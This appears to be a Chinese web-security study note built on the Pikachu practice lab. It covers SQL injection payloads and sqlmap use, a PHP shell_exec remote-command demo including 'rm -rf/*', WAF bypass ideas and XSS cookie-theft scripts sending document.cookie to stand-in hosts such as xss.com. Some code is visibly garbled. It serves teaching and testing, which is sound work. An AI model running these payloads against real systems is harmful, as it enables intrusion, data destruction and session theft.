三、Web安全-漏洞
1. SQL 注入
1.1 pikachu靶场环境安装
下载地址:https://github.com/zhuifengshaonianhanlu/pikachu
1、下载pikachu-master安装包
2、在phpstudy的www目录下解压
3、更改WWW\pikachu-master\inc 目录下的config.inc.php文件
4、开启phpstudy,在浏览器中访问网站
开启小皮服务
如果在物理机,需要先把mysql服务关掉,然后打开小皮启动mysql
services.msc
访问成功
5、初始化成功
1.2 SQL注入原理
在数据交互中,前端的数据传入到后台进行处理时,没有做严格的判断,过滤。
导致传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
从而导致数据库受损(被脱裤、数据被删除、甚至整个服务器权限沦陷)。
1.3 判断注入点
漏洞可能存在的地方
1.3.1 登录框
万能密码
假设原验证登陆语句:
SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'
输入 1′ or 1=1 or ‘1’=’1万能密码语句变为:
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
不管密码是什么都能登录成功,达到后面的语句无论是什么都不会被提交
优先级or > and > not
1.3.2 查询
1.3.3 订单处理
在类似淘宝订单提交处,有一个控制id提交的地方,可能存在SQL注入
1.3.4 获取http头功能点
X-forward-for字段可能将数据记录进数据库,存在数据交互
cookie也会存放到数据库,有cookie的地方也有注入
user-Agent也可能把浏览器的指纹信息放到数据库
Referer字段也可能
1.4 注入点查看
1.报错注入
有注入一定有响应,通过页面的报错信息判断
2.盲注(页面不返回错误信息)
1.布尔盲注
一般通过
1‘and 1=1#
判断
还可以观察字节长度来判断结果
不成立的时候返回的是同一个页面,成立是另一个
2.时间盲注
kobe'+and+sleep(5)--+
如果成立的话延时5秒再反应,判断是否有注入
1.5 SQL注入常见类型
报错注入
1、报错函数
updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string
ExtractValue(xml_frag, xpath_expr)
xml_frag: XML 标记片段,xml语言的标签闭合内的值,
xpath_expr: XPath 表达式,匹配xml标签内的值并返回。
1'+union+select+updatexml(1,concat(0x7e,(select+database()),0x7e),1)--+
盲注
盲注一般用到的一些函数:if()、ascii()、substr()、length(),exists()、concat()等
payload:kobe'+and+ascii(substr(database(),2,1))=105--+
1.5.1 sql查询
除了查看数据库 还有会使用到的其他函数:
1、user()查当前的用户为:user() =>select user();
2、 Version();当前 mysql 的版本
union select 1,2,version()
3、 Database();当前网站使用的数据库
union select 1,2,database()
4、 User();当前 MySQL 的用户
union select 1,2,user()
5、 system_user(); 系统用户名
6、session_user();连接数据库的用户名
7、current_user;当前用户名
8、load_file();读取本地文件
9、@@datadir:读取数据库路径
10、@@basedir:mysql安装路径
9、length(str) : 返回给定字符串的长度,如 length(“string”)=6
10、substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=“in”
substr()、stbstring()、mid() 三个函数的用法、功能均一致
11、concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,’’,str2):将字符串str1和str2的数据查询到一起,中间用连接
12、group_concat(username) :将username数据查询在一起,用逗号连接
Columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name
1.5.2 联合查询
information_schema.schemata:
该数据表存储了mysql数据库中的所有数据库的库名
schema_name列 :其包含了当前数据库管理系统中所有的数据库
information_schema.tables:
该数据表存储了mysql数据库中的所有数据表的表名
table_name列:此列记录当前数据库管理系统中所有表的合集
table_schema列:此列记录当前数据库管理系统中所有数据库的合集
information_schema.columns:
该数据表存储了mysql数据库中的所有列的列名
字段
a' order by 1#
获取表
a' union select table schema,table name frominformation schema.tables where table schema='pikachu'#
获取字段
a' union select table name,column name frominformation schema.columns where table name='users'#
union select username,password from users#
SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'
SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'
1.6 waf绕过和sqlmap使用
1.6.1 waf绕过
1、等于号:
2、Substr,mid等
3、逗号
4、And/or
(1)WAF概念
WEB应用防护系统(Web Application Firewall)简称WAF,
是通过WEB应用防火墙专门针对HTTP/HTTPS的安全策略来为Web应用提供保护的一款产品。
在网站防护上WAF对比传统的防火墙有更加有效的防护效果。
(2)WAF主要功能
1、可拦截常见的web漏洞攻击,例如SQL注入、XSS跨站、获取敏感信息、利用开源组件漏洞的攻击等常见的攻击行为。
2、可提供0Day,NDay漏洞防护。当发现有未公开的0Day漏洞或者刚公开但未修复的NDay漏洞被利用时,WAF可以在发现漏洞到用户修复漏洞这段空档期对漏洞增加虚拟补丁,抵挡黑客的攻击,防护网站安全。
3、可以对访问请求进行控制,可以主动识别、阻断攻击流量,就如现在智能化的AI,可以发觉安全威胁对其主动进行防御。不限制于被动状态下的规则和策略去防护。
4、可以实时阻断黑客通过web漏洞试图入侵服务器、危害用户等恶意行为。
(3)WAF工作原理
WAF工作方式是对接收到的数据包进行正则匹配过滤,
如果正则匹配到与现有漏洞知识库的攻击代码相同,则认为这个恶意代码,从而对于进行阻断。
所以,对于基于规则匹配的WAF,需要每天都及时更新最新的漏洞库。
1.6.2 扫描语法
1、-u 指定目标url
2、-m url_list.txt # 使用一个包含多个url的文件进行扫描。
3、-r request.txt # Post提交方式,使用HTTP请求文件,该文件可从BurpSuit中导出。 (BurpSuit抓包-->将请求复制到txt中即可)
4、-p "username,id" # 指定要扫描的参数
5、--proxy="http://127.0.0.1:8087/" # 使用代理去扫描目标
6、--force-ssl # 使用HTTPS连接进行扫描
7、--delay="3" # 每次http请求之间的延迟时间,默认无延迟
8、--timeout="10" # 请求超时时间,浮点数,默认为30秒
9、--level
2:检测cookie中是否含有注入
3:检测user-agent、referer是否含有注入
5:检测host是否含有注入
10、--risk 默认1,最高4,等级高容易造成数据被篡改风险
11、--threads=7 #提高并发线程,默认为1,建议不要超过10,否则影响站点可用性
12、--dbms="Mysql" # 指定数据库类型,还可以加上版本 Mysql
13、--os="Windows" # 指定操作系统,还可以是Linux
1.6.3 查询语法
--users # 查询所有的数据库账号
--dbs # 查询所有数据库
--schema # 查询源数据库(包含定义数据的数据)
-a # 查询当前user、当前数据库、主机名、当前user是否是最大权限管理员、数据库账号等
-D dvwa# 指定数据库
命令:sqlmap -u http://172.23.188.13:8083/show.php?id=3 -D dvwa --tables
-T 是查看某个数据表
--columns 查看的表中的所有字段
命令:sqlmap -u http://172.23.188.13:8083/show.php?id=3 -D dvwa -T users --columns
--dump 查看所有字段的内容
--current-user # 查询当前数据库用户
--current-db # 查询当前数据库
--hostname # 查看服务器的主机名
-
- --columns # 查看所有的字段
--tables # 查看所有的表
2.远程代码执行漏洞RCE(核弹级)
RCE(任意代码执行漏洞)
Web服务
远程代码执行漏洞是因为前后端项目(黄色部分)出现漏洞,它不像常见的漏洞
它可以执行任何的命令,权限非常高,危害严重
2.1 RCE概述
2.1.1 含义
所有漏洞中危害等级最高的漏洞
含义:程序中预留了一个执行代码/命令的接口,地址的参数又可以通过前端url参数或者界面中的输入框指定,最终导致该接口被利用,控制服务器
2.1.2 PHP演示
首先将一个PHP文件放到小皮更目录下
然后打开这个php
<?php
$html='';
if(isset({
mathJaxContainer[2]}_POST['cmd'] != null){
{
mathJaxContainer[3]}_POST['cmd']);
// $html.=shell_exec($_GET['id']);
}
?>
<div id="comm_main">
<p class="comm_title">超级运维管理后台</p>
<form method="post">
<input class="ipadd" type="text" name="cmd" />
<input class="sub" type="submit" name="submit" value="提交" />
</form>
</div>
<?php echo $html;?>
最核心的函数是shell_exec,它可以从前端参数拿到一个cmd的值,并且执行它
然后打开网页
在输入任意一个命令
ipconfig
会看到显示了IP信息
同时,也可以执行Linux操作系统的命令
比如输入命令,清理所有内容
rm -rf/*
不区分两个含义
RCE=
Remote Code Execute 远程代码执行
Remote Command Execute 远程命令执
2.1.3 危害
1、窃取服务器的敏感数据、文件
2、对电脑的文件加密,实施勒索
3、运行恶意代码,比如挖矿程序
4、拒绝服务
5、作为跳板机攻击其他人
2.1.4 漏洞价值
白帽黑客成功找到Zoom的远程代码执行漏洞 获得20万美元奖励
https://baijiahao.baidu.com/s?id=1696628704159847927
微软给360白帽黑客发20万美元漏洞挖掘奖励
https://baijiahao.baidu.com/s?id=1621984874665303330
Google 提高 Android 13 漏洞赏金,最高 150 万美元
https://www.51cto.com/article/708026.html
2.1.5 漏洞发送前提
1、系统或者软件代码中使用了执行命令的函数(exec)
2、执行的命令是可以通过参数控制的(前端传参)
3、有一个可以在外网可以访问的入口(做目录扫描发现的地址)
2.2 RCE案例
2.2.1 常见RCE漏洞成因
不一定要自己调用方法,可以编写一个恶意代码,诱导服务器将木马下载下来
RCE漏洞是结果
2.2.2 RCE漏洞典型案例
网上搜索一下关键词,都有漏洞相关文章
微信RCE漏洞
OfficeRCE漏洞
2.3 RCE挖掘
公开的可以使用Nday,复现RCE漏洞
2.3.1 分析方法
1、黑盒
只给一个ip、域名
抓包中出现了以下参数名,可能存在漏洞
exec=?、command=?、execute?、ping=?、
include=?、exclude=?、jump=?、code=?、reg=?、
do=?、func=?、arg=?、option=?、load=?、
process=?、step=?、read=?、function=?、req=?、
feature=?、exe=?、module=?、payload=?、run=?、
print=?
用漏洞扫描软件可以更加全面
2、白盒、逆向
公司在产品上线前做代码审计,直接能看到源码
直接在代码中搜索这些内容,看在哪些地方被调用
相关函数
PHP
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、
eval()……
Java
Runtime.getRuntime().exec()……
Python
os.system()、os.popen()、subprocess.call()、os.spawn()……
还可以通过everthing搜索
选择高级搜索
安全相关社区、论坛
freebuf
t00ls
看雪
卡饭
先知
微步
吾爱
2.4 RCE防御
2.4.1 防御思路
1、从入口(HTTP流量)防御(自研)
2、产品升级(开源、采购或者使用第三方组件)
3、白名单(命令、IP)
4、安全产品(waf,花钱,联网更新)
5、编码、配置角度(关闭高危函数)
有些漏洞发生在客户端,只能使用强制更新才能使用,来修补漏洞
2.4.2 常见绕过思路
等价函数
大小写绕过
双写绕过
编码绕过
特殊字符绕过
…… https://blog.csdn.net/qq_41315957/article/details/118855865
3. XSS漏洞
XSS,即跨站脚本攻击
是指攻击者利用Web服务器中的代码漏洞,在页面中嵌入客户端脚本
(通常是一段由JavaScript编写的恶意代码)
当信任此Web服务器的用户访问 Web站点中含有恶意脚本代码的页面,用户浏览器会自动加载并执行该恶意代码,从而达到攻击的目的。
XSS分类一般如下:
1、反射型XSS
2、存储型XSS
3、DOM型XSS
JS可以干嘛
alert(1) //弹出1
<script>alert(1)</script>
alert(document.cookie) //弹出当前cookie
<script>alert(document.cookie)</script>
document.location = 'http://www.baidu.com'
。。。。。(JS代码可以随便写想干嘛就干嘛)
3.1 反射型XSS漏洞
反射型XSS,也称为非持久性XSS,是最常见的一种XSS
低危漏洞,没什么用
打开pikachu靶场,我们选择Cross-Site-Scripting下的反射型(get)
输入1
返回
提交kobe,返回正确的值
我们打开检查
现在尝试输入
<script>alert(1)</script>
发现输入框被限制长度
我们把它长度改为200
然后提交,确实出现弹窗,JS代码被执行
会发现,代码已经被嵌入进去,被当成JS解析
但是刷新一次页面,JS代码会消失,服务器不会永远存在(反射型XSS)
3.2 存储型XSS漏洞
存储型XSS,也称为持久性XSS,JS代码会存在后台
我们输入的记录,它会保存下来
现在尝试输入JS代码
<script>alert(1)</script>
嵌入到服务器中,每次提交数据都会执行JS代码
永久性保存到服务器
3.3 DOM型XSS漏洞
DOM型XSS,其实也是一种反射型,但是输入的语句不是JS的语句,是DOM语法
DOM全称Document Object Model
是一个与平台、编程语言无关的接口
它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分
我们输入123123
会发现被写入标签中
DOM型没有太大危害,也没法被利用
3.4 利用XSS如何实现攻击
将电脑的cookie信息发送到xxx.com上
document.location = 'http://www.xxx.com/cookie.php?cookie='+document.cookie;
用户会访问该页面,浏览器会将用户的kookie信息发送到黑客电脑
案例
假设用户界面是首页
黑客页面是XSS后台
黑客后台
通过这里才看到搜集的cookie
这里是黑客接收cookie的页面
下面JS代码是将跳转的黑客的页面,并将cookie发过去,谁访问该页面,就将cookie发过去
<script>document.location = 'http://xss.com/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
我们在黑客的页面提交
提交之后,在用户的界面看到留言
然后去查看cookie结果